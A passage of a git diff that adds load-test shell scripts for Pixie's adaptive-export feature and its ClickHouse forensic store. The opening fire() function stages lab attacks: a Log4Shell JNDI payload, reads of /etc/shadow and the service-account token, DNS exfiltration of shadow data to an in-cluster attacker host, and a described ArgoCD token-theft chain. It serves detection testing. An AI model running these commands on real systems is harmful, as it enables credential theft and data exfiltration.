2>/dev/null)" = Healthy ] && break; sleep 4; done; fi + kubectl -n pl get vizier -o jsonpath='{.items[*].status.vizierPhase}' 2>/dev/null; } +ae_ok(){ local bad; bad=$(kubectl -n pl get pods -l name=adaptive-export --no-headers 2>/dev/null | awk '$3!="Running"{c++} END{print c+0}'); [ "${bad:-1}" -eq 0 ]; } + +# ---- noise (volproof loadgen) ---- +noise(){ if [ "$1" = on ]; then kubectl apply -f /tmp/loadgen.yaml >/dev/null 2>&1; kubectl -n $NS rollout status deploy/volproof-loadgen --timeout=120s >/dev/null 2>&1; say " noise ON (volproof-loadgen)"; + else kubectl -n $NS delete deploy volproof-loadgen --ignore-not-found --wait=false >/dev/null 2>&1; say " noise OFF"; fi; } + +# ---- per-attack workload readiness + fire + R0001 gate ---- +ATTACK="" +ready(){ case "$ATTACK" in + log4shell) kubectl -n $NS get pods --no-headers 2>/dev/null | grep -q '^backend' ;; + argocd) kubectl get ns argocd >/dev/null 2>&1 && kubectl -n argocd get application probe-app >/dev/null 2>&1 ;; + react2argo) kubectl get ns react >/dev/null 2>&1 || kubectl -n default get deploy react >/dev/null 2>&1 ;; + esac; } +fire(){ case "$ATTACK" in + log4shell) + local BIP BPORT BP; BIP=$(kubectl -n $NS get svc backend -o jsonpath='{.spec.clusterIP}' 2>/dev/null); BPORT=$(kubectl -n $NS get svc backend -o jsonpath='{.spec.ports[0].port}' 2>/dev/null) + kubectl -n attacker-ns exec deploy/attacker -- curl -s -m5 -A '${jndi:ldap://attacker.attacker-ns.svc.cluster.local:1389/Payload}' "http://$BIP:$BPORT/api/products" >/dev/null 2>&1 || true + BP=$(kubectl -n $NS get pods --no-headers 2>/dev/null | awk '/^backend/{print $1;exit}') + [ -n "$BP" ] && kubectl -n $NS exec "$BP" -- sh -c 'whoami; id; cat /etc/shadow 2>/dev/null|head -2; cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null|head -c20; D=$(cat /etc/shadow 2>/dev/null|tr -dc "a-z0-9"|head -c90); i=0; while [ $i -lt 5 ]; do C=$(echo "$D"|cut -c$((i*18+1))-$((i*18+18))); getent hosts "x${C}.exfil.attacker.attacker-ns.svc.cluster.local" >/dev/null 2>&1; i=$((i+1)); done' >/dev/null 2>&1 || true ;; + argocd) + kubectl -n argocd annotate application probe-app argocd.argoproj.io/refresh=hard --overwrite >/dev/null 2>&1 || true; sleep 25 + kubectl -n argocd annotate application probe-app argocd.argoproj.io/refresh=hard --overwrite >/dev/null 2>&1 || true ;; + react2argo) + # (1) react RCE -> steals SA token -> POSTs the malicious argocd Application + # `sys-housekeeping` (sealed trigger, applied verbatim). + kubectl delete job react2shell-trigger -n default --ignore-not-found >/dev/null 2>&1 + kubectl apply -f /tmp/react2argo-trigger.yaml >/dev/null 2>&1 || true + # (2) cache-bust so the render-exec re-fires this rep. The payload is a + # render-exec: argocd-repo-server runs `kustomize build --enable-exec` -> + # ./mal.sh -> reads /etc/shadow (R0001 + R0010 on repo-server) at RENDER + # time. argocd caches rendered manifests in argocd-REDIS; a repo-server + # restart does NOT clear it (verified). Restart argocd-redis to flush the + # manifest cache, then one soft (cache-respecting) reconcile nudge so the + # render re-fires within the rep window. (RCA 2026-06-19.) + kubectl -n argocd rollout restart deploy/argocd-redis >/dev/null 2>&1 + kubectl -n argocd rollout status deploy/argocd-redis --timeout=60s >/dev/null 2>&1 + kubectl -n argocd annotate application sys-housekeeping argocd.argoproj.io/refresh=normal --overwrite >/dev/null 2>&1 || true ;; + esac; } +# acceptance gate: R0001 (unexpected process) seen in the last ~110s (the fire window) +r0001_recent(){ chq "SELECT count() FROM forensic_db.kubescape_logs WHERE RuleID='R0001' AND event_time >= toUInt64((now()-130))*1000000000"; } + +measure(){ local cond=$1 arm=$2 rep=$3 valid=$4 + printf " %-16s %10s %12s\n" table rows bytes | tee -a "$OUT" + while IFS=$'\t' read -r t r b; do [ -z "$t" ] && continue + printf " %-16s %10d %12d\n" "$t" "${r:-0}" "${b:-0}" | tee -a "$OUT" + printf "%s\t%s\t%s\t%s\t%s\t%s\n" "$cond" "$arm" "$rep" "$t" "${r:-0}" "${b:-0}" >> "$RES" + done < <(chq "SELECT table, sum(rows), sum(data_compressed_bytes) FROM system.parts WHERE database='forensic_db' AND active GROUP BY table ORDER BY table FORMAT TSV") + say " valid=$valid steered=$(chq "SELECT arrayStringConcat(groupArray(pod),',') FROM (SELECT DISTINCT pod FROM forensic_db.adaptive_attribution WHERE t_end>now())")"; } + +run_arm(){ local cond=$1 arm=$2; shift 2 + say "--- $cond ARM $arm : $* ---" + kubectl -n pl set env ds/adaptive-export "$@" >/dev/null 2>&1 + kubectl -n pl rollout status ds/adaptive-export --timeout=150s >/dev/null 2>&1 + # Wait for AE to actually be Running β€” `rollout status` can return during the + # restart race; retry before aborting so we don't false-abort a healthy roll. + local _i; for _i in 1 2 3 4 5 6 7 8 9; do ae_ok && break; sleep 10; done + if ! ae_ok; then say " ABORT-arm: AE not Running after rollout+90s wait:"; kubectl -n pl get pods -l name=adaptive-export --no-headers 2>/dev/null|awk '{print " "$1,$3,$4}'|tee -a "$OUT"; return 1; fi + say " AE OK; vizier=$(ensure_healthy)" + local rep t0 g + for rep in $(seq 1 "$REPS"); do + say " $cond $arm rep$rep"; truncate_all; ensure_healthy >/dev/null + t0=$(date +%s); while [ $(( $(date +%s) - t0 )) -lt "$FIREAT" ]; do sleep 2; done + say " FIRE $ATTACK"; fire + while [ $(( $(date +%s) - t0 )) -lt "$RUNSEC" ]; do sleep 2; done; sleep 15 + g=$(r0001_recent); g=${g:-0}; [ "$g" -gt 0 ] && valid=yes || valid="NO(r0001=0)" + measure "$cond" "$arm" "$rep" "$valid" + if [ "$rep" -lt "$REPS" ]; then say " settle ${GAP}s"; sleep "$GAP"; fi + done; return 0; } + +say "===== MATRIX START conds=[$CONDS] REPS=$REPS =====" +for c in $CONDS; do + ATTACK=${c%%:*}; NZ=${c##*:} + say "===== CONDITION $ATTACK noise=$NZ =====" + if ! ready; then say " SKIP β€” $ATTACK workload not deployed"; continue; fi + noise "$NZ"; sleep 20 + run_arm "$ATTACK/$NZ" ALL ADAPTIVE_PASSTHROUGH=true ADAPTIVE_WRITE_MODE= ADAPTIVE_PUSH_PIXIE_ROWS=false ADAPTIVE_PASSTHROUGH_WINDOW_SEC=60 ADAPTIVE_PASSTHROUGH_REFRESH_SEC=60 || continue + say " inter-arm settle ${GAP}s"; sleep "$GAP" + run_arm "$ATTACK/$NZ" DX ADAPTIVE_PASSTHROUGH=false ADAPTIVE_WRITE_MODE=streaming ADAPTIVE_PUSH_PIXIE_ROWS=false ADAPTIVE_STREAM_WINDOW_SEC=60 ADAPTIVE_STREAM_REFRESH_SEC=60 || continue + noise off + say " inter-condition settle ${GAP}s"; sleep "$GAP" +done + +say "===== SUMMARY (mean rows over valid reps, per condition/arm) =====" +for c in $CONDS; do for arm in ALL DX; do for t in http_events dns_events conn_stats pgsql_events; do + m=$(awk -F'\t' -v C="${c%%:*}/${c##*:}" -v A=$arm -v T=$t '$1==C&&$2==A&&$4==T{s+=$5;n++} END{if(n)printf "%.0f",s/n; else print 0}' "$RES") + [ "$m" != 0 ] && say " $c $arm $t mean_rows=$m" +done; done; done +say "===== MATRIX DONE =====" diff --git a/src/e2e_test/adaptive_export_loadtest/harness/exp_row_reconcile.sh b/src/e2e_test/adaptive_export_loadtest/harness/exp_row_reconcile.sh new file mode 100755 index 00000000000..a755d783b72 --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/harness/exp_row_reconcile.sh @@ -0,0 +1,127 @@ +#!/usr/bin/env bash + +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +# exp_row_reconcile.sh β€” DETERMINISTIC row-level PEM↔CH reconciliation for AE. +# +# WHY: count(CH) >= count(PEM) ("write βŠ‡ read") is NOT proof β€” CH can be inflated by +# re-pull dups (C8) while silently MISSING specific rows PEM has. This test proves +# identity at ROW granularity: every individual row Pixie captured (PEM) was written +# to forensic_db (CH) with matching values β€” no loss, no fabrication. +# +# HOW: Pixie protocol rows have no native UUID, so we MINT one. Each request carries a +# unique probe id - in its URL β†’ that string is the row's deterministic UUID, +# visible in http_events.req_path on BOTH sides. We then compare the SET of (uuid|method| +# status) fingerprints from PEM vs CH. This cleanly separates two layers: +# expected (0..N-1) --Pixie capture--> PEM set --AE fidelity--> CH set +# - expected \ PEM = Pixie/eBPF didn't capture it (Pixie property, NOT AE) +# - PEM \ CH = AE LOST a row Pixie had (← the AE bug we hunt; must be empty) +# - CH \ PEM = AE FABRICATED a row Pixie lacked (must be empty; dups are same uuid, not new) +# - mismatched fingerprint for same uuid = value corruption (shows as both loss+fab) +# +# PASS ⇔ (PEM \ CH) empty AND (CH \ PEM) empty. Runs NODE-SIDE (kubectl + px local). +set -uo pipefail +N=${N:-300}; NS=${NS:-log4j-poc}; SVC=${SVC:-frontend} +CLUSTER=${CLUSTER:-547d0a15-4004-435e-aea1-c13e596eb976} +CHPOD=${CHPOD:-chi-forensic-soc-db-soc-cluster-0-0-0} +SETTLE=${SETTLE:-180} # > two passthrough sweeps (~80s each) + write +O=/tmp/rowrec; mkdir -p "$O" +chq(){ kubectl -n clickhouse exec "$CHPOD" -c clickhouse -- clickhouse-client -q "$1" 2>/dev/null; } +# pxrun relies on the persisted `px auth login` session (auth.json); PX_CLOUD_ADDR is non-secret. +pxrun(){ PX_CLOUD_ADDR="$(grep -E '^PX_CLOUD_ADDR=' /tmp/pixie-keys.env 2>/dev/null | cut -d= -f2-)"; export PX_CLOUD_ADDR + px run -f "$1" -c "$CLUSTER" 2>&1 | grep -ivE "PX_|ENV VARS|^\*|Pixie CLI|Cloud|^$|resump"; } + +FE=$(kubectl -n "$NS" get svc "$SVC" -o jsonpath='{.spec.clusterIP}') +FEPOD_NSP="$NS/$(kubectl -n "$NS" get pods -l app="$SVC" -o jsonpath='{.items[0].metadata.name}' 2>/dev/null)" +[ "$FEPOD_NSP" = "$NS/" ] && FEPOD_NSP="$NS/$(kubectl -n "$NS" get pods --no-headers 2>/dev/null | awk '/^'"$SVC"'/{print $1; exit}')" +TAG="rr$(date +%s)" # unique run tag β†’ isolates THIS run's rows (clock-skew-proof) +echo "TAG=$TAG N=$N target=$FEPOD_NSP fe=$FE" | tee "$O/meta.txt" + +# 0. Put AE in passthrough so it captures the frontend (write-fidelity test, not gating). +kubectl -n pl set env ds/adaptive-export ADAPTIVE_PASSTHROUGH=true ADAPTIVE_PASSTHROUGH_WINDOW_SEC=240 ADAPTIVE_PASSTHROUGH_REFRESH_SEC=20 ADAPTIVE_PUSH_PIXIE_ROWS=false >/dev/null 2>&1 +kubectl -n pl rollout status ds/adaptive-export --timeout=140s >/dev/null 2>&1 +sleep 40 # AE reconnect warm + +# 1. Fire N uniquely-tagged requests from a gen pod (gen client may be untraced; we read +# the TRACED frontend SERVER-side, so every request shows up as one http_events row). +kubectl -n "$NS" delete pod rowgen --ignore-not-found --wait=true >/dev/null 2>&1 +kubectl -n "$NS" run rowgen --image=busybox:1.36 --restart=Never --command -- \ + sh -c "for i in \$(seq 0 $((N-1))); do wget -qO- 'http://$FE/api/products?probe=$TAG-'\$i >/dev/null 2>&1; done; echo ROWGEN_DONE; sleep 3600" +for _ in $(seq 1 90); do kubectl -n "$NS" logs rowgen 2>/dev/null | grep -q ROWGEN_DONE && break; sleep 2; done +echo "fired $N requests; settling ${SETTLE}s for AE to sweep+write" | tee -a "$O/meta.txt" +sleep "$SETTLE" + +# 2. PEM fingerprints: (uuid|method|status) Pixie captured for the frontend, filtered by TAG. +cat > "$O/pem.pxl" < "$O/pem.raw" +# Build fingerprint uuid|method|status; req_path carries the uuid, no spaces in any field. +awk -v tag="$TAG" ' + { for(i=1;i<=NF;i++){ if($i ~ tag"-[0-9]+"){ uuid=$i; sub(/^.*(/tag"-[0-9]+/).*/,"",uuid) } } }' /dev/null 2>/dev/null +grep -oE "$TAG-[0-9]+" "$O/pem.raw" | sort -u > "$O/pem.uuids" +# fingerprint with method+status (parse columns around the probe token) +python3 - "$O/pem.raw" "$TAG" > "$O/pem.fp" <<'PY' +import sys,re +tag=sys.argv[2] +seen=set() +for ln in open(sys.argv[1]): + m=re.search(re.escape(tag)+r"-(\d+)",ln) + if not m: continue + meth=("GET" if " GET " in " "+ln+" " or "GET" in ln else "?") + st=re.search(r"\b([1-5]\d\d)\b",ln); st=st.group(1) if st else "?" + seen.add(f"{tag}-{m.group(1)}|{meth}|{st}") +print("\n".join(sorted(seen))) +PY + +# 3. CH fingerprints: what AE actually wrote (distinct, dedup'd) for the same TAG. +chq "SELECT DISTINCT concat(extract(req_path,'($TAG-[0-9]+)'),'|',req_method,'|',toString(resp_status)) + FROM forensic_db.http_events + WHERE pod='$FEPOD_NSP' AND req_path LIKE '%$TAG-%' + ORDER BY 1 FORMAT TSV" 2>/dev/null | grep -E "$TAG-[0-9]+\|" | sort -u > "$O/ch.fp" +grep -oE "$TAG-[0-9]+" "$O/ch.fp" | sort -u > "$O/ch.uuids" +CH_TOTAL=$(chq "SELECT count() FROM forensic_db.http_events WHERE pod='$FEPOD_NSP' AND req_path LIKE '%$TAG-%'") + +# 4. Reconcile. +seq 0 $((N-1)) | sed "s/^/$TAG-/" | sort -u > "$O/expected.uuids" +LOSS=$(comm -23 "$O/pem.fp" "$O/ch.fp" | wc -l) # in PEM not CH = AE LOST (must be 0) +FAB=$(comm -13 "$O/pem.fp" "$O/ch.fp" | wc -l) # in CH not PEM = AE FABRICATED/value-mismatch (must be 0) +MATCH=$(comm -12 "$O/pem.fp" "$O/ch.fp" | wc -l) +PIXIE_MISS=$(comm -23 "$O/expected.uuids" "$O/pem.uuids" | wc -l) # Pixie didn't capture (NOT AE) +PEM_U=$(wc -l < "$O/pem.uuids"); CH_U=$(wc -l < "$O/ch.uuids") +DUP="n/a"; [ "$CH_U" -gt 0 ] && DUP=$(awk "BEGIN{printf \"%.2f\", $CH_TOTAL/$CH_U}") + +{ +echo "================ ROW-LEVEL RECONCILE (TAG=$TAG, N=$N) ================" +echo "Pixie captured (PEM distinct uuids): $PEM_U / $N (expected\\PEM = $PIXIE_MISS not captured by eBPF)" +echo "AE wrote (CH distinct uuids): $CH_U (CH total rows=$CH_TOTAL β†’ dup factor ${DUP}x)" +echo "fingerprint matched (uuid|method|status): $MATCH" +echo "AE LOSS (PEM\\CH, MUST be 0): $LOSS" +echo "AE FAB (CH\\PEM, MUST be 0): $FAB" +[ "$LOSS" -gt 0 ] && { echo '--- LOST rows (Pixie had, AE did NOT write): ---'; comm -23 "$O/pem.fp" "$O/ch.fp" | head -20; } +[ "$FAB" -gt 0 ] && { echo '--- FABRICATED/mismatched rows (in CH, not in PEM): ---'; comm -13 "$O/pem.fp" "$O/ch.fp" | head -20; } +if [ "$LOSS" -eq 0 ] && [ "$FAB" -eq 0 ] && [ "$PEM_U" -gt 0 ]; then + echo "VERDICT: PASS β€” every row Pixie captured was written to CH with matching values." +else + echo "VERDICT: FAIL β€” AE write-set != Pixie read-set at row granularity." +fi +} | tee "$O/RESULT.txt" +kubectl -n "$NS" delete pod rowgen --ignore-not-found --wait=false >/dev/null 2>&1 diff --git a/src/e2e_test/adaptive_export_loadtest/harness/inject.sh b/src/e2e_test/adaptive_export_loadtest/harness/inject.sh new file mode 100755 index 00000000000..df6de5219c1 --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/harness/inject.sh @@ -0,0 +1,109 @@ +#!/usr/bin/env bash + +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +# inject.sh β€” inject controlled kubescape_logs trigger rows into ClickHouse over +# the HTTP interface, with EXACT control over event_time. This is the only AE +# input under test: real kubescape is NOT deployed for these load-tests. +# +# Row shape mirrors exactly what Vector emits (and what AE's trigger polls): +# BaseRuntimeMetadata, CloudMetadata, RuleID, RuntimeK8sDetails (JSON string +# with podName/podNamespace), RuntimeProcessDetails (JSON string with +# processTree.pid/comm), event, event_time (UInt64 unix-NANOS), hostname. +# +# anomaly_hash = SHA256(pid, comm, pod, namespace)[:16] is computed by AE β€” NOT +# set here β€” so per-rep uniqueness comes from a unique --pod (data plane) and a +# unique --hostname (control plane; trigger_watermark is partitioned by host). +# +# Timestamp discipline (PRODUCTION UNIT = SECONDS): +# event_time is unix SECONDS β€” the unit the soc Vector kubescape sink emits +# (`to_unix_timestamp(ts)`, VRL default seconds) and what the CH DDL's +# `toDateTime(event_time)` TTL/PARTITION assume. (The AE trigger auto-detects +# s/ms/ns, but the DDL only handles seconds β€” so fixtures MUST be seconds or +# the rows are TTL-deleted; see FINDINGS_AND_BACKLOG.md F1/AE-2.) +# --event-time is the FIRST row's event_time (unix SECONDS). With --count N>1 +# the rows get event_time, event_time+dt, ... (--dt-s, default 1s) so they are +# DISTINCT + monotone and never collide at the watermark boundary β€” UNLESS +# --same-time is given, which deliberately reuses one event_time to exercise +# the boundary-fingerprint dedup (experiment E4). +set -euo pipefail + +ENDPOINT="${CH_ENDPOINT:-http://localhost:8123}" +CH_USER="${CH_USER:-}" +CH_PASS="${CH_PASS:-}" +NS="" ; POD="" ; RULE="R0001" ; PID="1234" ; COMM="java" +EVENT_TIME="" ; HOSTNAME_="" ; COUNT=1 ; DT_S=1 ; SAME_TIME=0 +ALERT="" + +usage(){ grep '^#' "$0" | sed 's/^# \{0,1\}//' ; exit "${1:-0}"; } + +while [[ $# -gt 0 ]]; do + case "$1" in + --endpoint) ENDPOINT="$2"; shift 2;; + --user) CH_USER="$2"; shift 2;; + --pass) CH_PASS="$2"; shift 2;; + --ns) NS="$2"; shift 2;; + --pod) POD="$2"; shift 2;; + --rule) RULE="$2"; shift 2;; + --pid) PID="$2"; shift 2;; + --comm) COMM="$2"; shift 2;; + --event-time) EVENT_TIME="$2"; shift 2;; + --hostname) HOSTNAME_="$2"; shift 2;; + --count) COUNT="$2"; shift 2;; + --dt-s) DT_S="$2"; shift 2;; + --same-time) SAME_TIME=1; shift;; + --alert) ALERT="$2"; shift 2;; + -h|--help) usage 0;; + *) echo "inject.sh: unknown arg $1" >&2; usage 1;; + esac +done + +[[ -n "$NS" && -n "$POD" && -n "$EVENT_TIME" && -n "$HOSTNAME_" ]] || { + echo "inject.sh: --ns --pod --event-time --hostname are required" >&2; exit 2; } +[[ -n "$ALERT" ]] || ALERT="$RULE" + +# Build the JSONEachRow body. RuntimeK8sDetails / RuntimeProcessDetails are +# JSON-STRING columns, so their inner quotes are escaped (\"). event_time is +# unix SECONDS; --count rows step by DT_S seconds (distinct, monotone). +body="" +for ((i=0; i&2 + cat /tmp/inject_resp.$$ >&2 || true + rm -f /tmp/inject_resp.$$ + exit 1 +fi +rm -f /tmp/inject_resp.$$ +echo "inject.sh: OK count=${COUNT} ns=${NS} pod=${POD} rule=${RULE} host=${HOSTNAME_} t0=${EVENT_TIME} same_time=${SAME_TIME}" diff --git a/src/e2e_test/adaptive_export_loadtest/harness/lib.sh b/src/e2e_test/adaptive_export_loadtest/harness/lib.sh new file mode 100755 index 00000000000..680b694975a --- /dev/null +++ b/src/e2e_test/adaptive_export_loadtest/harness/lib.sh @@ -0,0 +1,216 @@ +#!/usr/bin/env bash + +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +# lib.sh β€” shared helpers for the AE fixture-isolation load-tests (L3, live rig). +# +# Connectivity model (per the labctl-session-discipline rule): all kubectl runs +# LOCALLY over the tailscale-direct kubeconfig (make kubeconfig), and ClickHouse +# is reached over a local port-forward β€” NO long-held labctl ssh sessions. +# +# Required env (export before sourcing or pass through): +# KUBECONFIG tailscale-direct kubeconfig for the rig (make kubeconfig) +# AELOAD_IMAGE ttl.sh/aeload-:24h (built on the PG dev-machine) +# Optional: +# CH_NS (default clickhouse), AE_NS (default pl), AELOAD_NS (default aeload) +# CH_HTTP (default http://127.0.0.1:8123 via the port-forward this lib opens) +# CH_RO_USER / CH_RO_PASS (SELECT creds; default = empty β†’ default user) +# CH_RW_USER / CH_RW_PASS (INSERT creds; default ingest_writer/changeme-ingest) +set -uo pipefail + +CH_NS="${CH_NS:-clickhouse}" +AE_NS="${AE_NS:-pl}" +AELOAD_NS="${AELOAD_NS:-aeload}" +CH_HTTP="${CH_HTTP:-http://127.0.0.1:8123}" +CH_RO_USER="${CH_RO_USER:-}" +CH_RO_PASS="${CH_RO_PASS:-}" +CH_RW_USER="${CH_RW_USER:-ingest_writer}" +CH_RW_PASS="${CH_RW_PASS:-changeme-ingest}" +HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +K8S_DIR="$(cd "$HERE/../k8s" && pwd)" + +_PF_PID="" + +die(){ echo "[aeload] FATAL: $*" >&2; exit 1; } +log(){ echo "[aeload] $*" >&2; } + +# k β€” kubectl over the tailscale kubeconfig. +k(){ kubectl "$@"; } + +# ch_svc β€” resolve the ClickHouse service name (first svc exposing 8123). +ch_svc(){ + k -n "$CH_NS" get svc -o jsonpath='{range .items[*]}{.metadata.name}{" "}{.spec.ports[*].port}{"\n"}{end}' \ + | awk '/8123/{print $1; exit}' +} + +# ch_portforward_up β€” start a background port-forward 8123 -> CH HTTP. +# Set CH_NO_PF=1 when running LAB-SIDE (on the PG dev-machine): there kubectl is +# native and ClickHouse is reachable in-cluster, so point CH_HTTP straight at the +# service (e.g. http://..svc:8123) and skip the forward entirely. This +# is the disciplined path β€” no long-held labctl ssh / no tailnet dependency. +ch_portforward_up(){ + if [[ "${CH_NO_PF:-0}" == "1" ]]; then + # Auto-fill CH_HTTP from the in-cluster service if left at the default. + if [[ "$CH_HTTP" == "http://127.0.0.1:8123" ]]; then + local svc; svc="$(ch_svc)"; [[ -n "$svc" ]] || die "no ClickHouse svc exposing 8123 in ns $CH_NS" + CH_HTTP="http://${svc}.${CH_NS}.svc:8123" + fi + log "lab-side mode: CH_HTTP=$CH_HTTP (no port-forward)" + curl -fsS "$CH_HTTP/ping" >/dev/null 2>&1 || die "CH not reachable at $CH_HTTP" + return 0 + fi + local svc; svc="$(ch_svc)"; [[ -n "$svc" ]] || die "no ClickHouse svc exposing 8123 in ns $CH_NS" + log "port-forward svc/$svc 8123 (ns $CH_NS)" + k -n "$CH_NS" port-forward "svc/$svc" 8123:8123 >/tmp/aeload-pf.log 2>&1 & + _PF_PID=$! + for _ in $(seq 1 30); do + curl -fsS "$CH_HTTP/ping" >/dev/null 2>&1 && { log "port-forward ready"; return 0; } + sleep 0.5 + done + die "port-forward to CH did not become ready (see /tmp/aeload-pf.log)" +} +ch_portforward_down(){ [[ -n "$_PF_PID" ]] && kill "$_PF_PID" 2>/dev/null || true; } +trap ch_portforward_down EXIT + +# chq β€” run a read query, return the raw result (default user / RO creds). +chq(){ + local sql="$1" auth=() + [[ -n "$CH_RO_USER" ]] && auth=(-u "${CH_RO_USER}:${CH_RO_PASS}") + curl -sS "${auth[@]}" --data-binary "$sql" "$CH_HTTP/" 2>/dev/null +} + +# count_pod β€” rows for this rep's pod (globally-unique pod +# name β†’ safe LIKE). Returns an integer (0 if table/rows absent). +count_pod(){ + local table="$1" uniq="$2" + local n; n="$(chq "SELECT count() FROM forensic_db.${table} WHERE pod LIKE '%${uniq}%'" )" + echo "${n:-0}" | tr -dc '0-9' | head -c 18 +} + +# NOTE: the live AE DaemonSet polls kubescape_logs WHERE hostname=, +# so every injected fixture's hostname MUST be a real node. Per-rep isolation is +# therefore by UNIQUE POD (distinct anomaly_hash), not by hostname. The helpers +# below scope to (hostname=node, pod LIKE the rep's unique pod). adaptive_ +# attribution stores the BARE pod name (kubescape podName), unlike the protocol +# tables whose pod is "/" (upid_to_pod_name). + +# attrib_count β€” adaptive_attribution rows (FINAL) for a rep. +attrib_count(){ + local node="$1" pod="$2" n + n="$(chq "SELECT count() FROM (SELECT 1 FROM forensic_db.adaptive_attribution FINAL WHERE hostname='${node}' AND pod LIKE '%${pod}%')")" + echo "${n:-0}" | tr -dc '0-9' | head -c 18 +} +uniq_hashes(){ + local node="$1" pod="$2" n + n="$(chq "SELECT uniqExact(anomaly_hash) FROM forensic_db.adaptive_attribution WHERE hostname='${node}' AND pod LIKE '%${pod}%'")" + echo "${n:-0}" | tr -dc '0-9' | head -c 18 +} +# watermark_of β€” current trigger watermark for that node (monotone across +# reps that share a node; equals the most-recently-injected event_time). +watermark_of(){ + local node="$1" n + n="$(chq "SELECT watermark FROM forensic_db.trigger_watermark FINAL WHERE hostname='${node}' AND table_name='kubescape_logs'")" + echo "${n:-0}" | tr -dc '0-9' | head -c 20 +} + +# attr_field β€” read one adaptive_attribution FINAL +# column (e.g. n_anomalies, toUnixTimestamp(last_seen)) for a single pod. +attr_field(){ + local node="$1" pod="$2" field="$3" n + n="$(chq "SELECT ${field} FROM forensic_db.adaptive_attribution FINAL WHERE hostname='${node}' AND pod='${pod}'")" + echo "${n:-0}" | tr -dc '0-9' | head -c 20 +} + +# first_node β€” a real schedulable node name (fixture hostname for control-plane +# experiments). nodes_list β€” all node names, newline-separated. +nodes_list(){ k get nodes -o jsonpath='{range .items[*]}{.metadata.name}{"\n"}{end}'; } +first_node(){ nodes_list | head -n1; } + +# now_ns β€” wall-clock unix nanoseconds (unique-name suffix only). +now_ns(){ date +%s%N; } +# now_s β€” wall-clock unix SECONDS = the production event_time unit (soc Vector +# emits seconds; the CH DDL TTL/PARTITION assume seconds). ALL fixtures use this. +now_s(){ date +%s; } + +# warmup β€” absorb the AE trigger cold-start on a node. The very first +# poll after AE boots only establishes the watermark baseline, so the first +# real event for a fresh hostname can be missed; a throwaway injection + +# settle primes the per-node trigger so measured reps are steady-state. +warmup(){ + local node="$1" inject="$HERE/inject.sh" + log "warmup trigger on node=$node" + "$inject" --endpoint "$CH_HTTP" --user "$CH_RW_USER" --pass "$CH_RW_PASS" \ + --hostname "$node" --ns aeload --pod "warmup-$(now_ns)" --rule R0001 \ + --pid 999 --comm warmup --event-time "$(now_s)" >&2 || true + sleep "${WARMUP_SETTLE_S:-6}" +} + +# wait_attrib [timeout_s] β€” poll adaptive_attribution +# FINAL until it reaches (AE's 250ms poll + write can lag a few seconds; +# a fixed sleep occasionally under-waited). Echoes the final observed count. +wait_attrib(){ + local node="$1" pod="$2" want="$3" to="${4:-20}" n=0 + for _ in $(seq 1 "$to"); do + n="$(attrib_count "$node" "$pod")" + [[ "${n:-0}" -ge "$want" ]] && break + sleep 1 + done + echo "${n:-0}" +} + +# svc_ip β€” ClusterIP of an aeload service (literal IP for the generator). +svc_ip(){ k -n "$AELOAD_NS" get svc "$1" -o jsonpath='{.spec.clusterIP}'; } + +# apply_sinks β€” bring up the shared aeload ns + http-sink + pg-sink (idempotent). +apply_sinks(){ + [[ -n "${AELOAD_IMAGE:-}" ]] || die "AELOAD_IMAGE not set" + sed "s#__IMAGE__#${AELOAD_IMAGE}#g" "$K8S_DIR/00-sinks.yaml" | k apply -f - + k -n "$AELOAD_NS" rollout status deploy/http-sink --timeout=120s + k -n "$AELOAD_NS" rollout status deploy/pg-sink --timeout=120s +} + +# fire_gen β€” create a gen pod, wait for it +# to fire, echo its one-line JSON manifest. Leaves the pod RUNNING (held). +fire_gen(){ + local name="$1" hn="$2" dn="$3" pn="$4" + local hip pip + hip="$(svc_ip http-sink)"; pip="$(svc_ip pg-sink)" + [[ -n "$hip" && -n "$pip" ]] || die "could not resolve sink ClusterIPs" + # GEN_SETTLE_MS: pre-band warm-up so Pixie/Stirling attaches BEFORE the exact + # band (exact-count tests). GEN_SUSTAIN_SEC: continuous trickle AFTER the band + # (sustained "keep writing until t_end" RCA). Defaults suit exact-count runs. + sed -e "s#__NAME__#${name}#g" -e "s#__IMAGE__#${AELOAD_IMAGE}#g" \ + -e "s#__HTTP_ADDR__#${hip}:8080#g" -e "s#__PG_ADDR__#${pip}:5432#g" \ + -e "s#__HTTP_N__#${hn}#g" -e "s#__DNS_N__#${dn}#g" -e "s#__PGSQL_N__#${pn}#g" \ + -e "s#__SETTLE_PRE_MS__#${GEN_SETTLE_MS:-30000}#g" -e "s#__SUSTAIN_SEC__#${GEN_SUSTAIN_SEC:-0}#g" \ + "$K8S_DIR/gen-pod.tmpl.yaml" | k apply -f - >&2 + # Wait for the FIRED sentinel + grab the manifest line (allow for the warm-up). + local mani="" + for _ in $(seq 1 90); do + if k -n "$AELOAD_NS" logs "$name" 2>/dev/null | grep -q AELOAD_FIRED; then + mani="$(k -n "$AELOAD_NS" logs "$name" 2>/dev/null | grep AELOAD_MANIFEST | tail -1 | sed 's/^AELOAD_MANIFEST //')" + break + fi + sleep 1 + done + [[ 